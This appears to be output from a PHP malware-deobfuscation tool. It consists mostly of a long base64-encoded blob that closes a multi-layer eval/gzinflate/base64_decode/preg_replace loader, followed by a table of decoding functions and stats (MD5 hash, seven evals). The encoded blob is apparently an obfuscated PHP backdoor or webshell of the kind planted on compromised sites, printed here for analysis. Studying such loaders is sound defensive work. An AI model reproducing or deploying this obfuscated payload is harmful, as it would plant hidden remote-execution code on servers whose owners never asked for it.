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'\x29\x29\x29\x3B","");
?>
Function Calls
gzinflate | 4 |
dokyns56711 | 1 |
preg_replace | 3 |
base64_decode | 4 |
Stats
MD5 | 408486aa0906edf2467f501459f6a980 |
Eval Count | 7 |
Decode Time | 188 ms |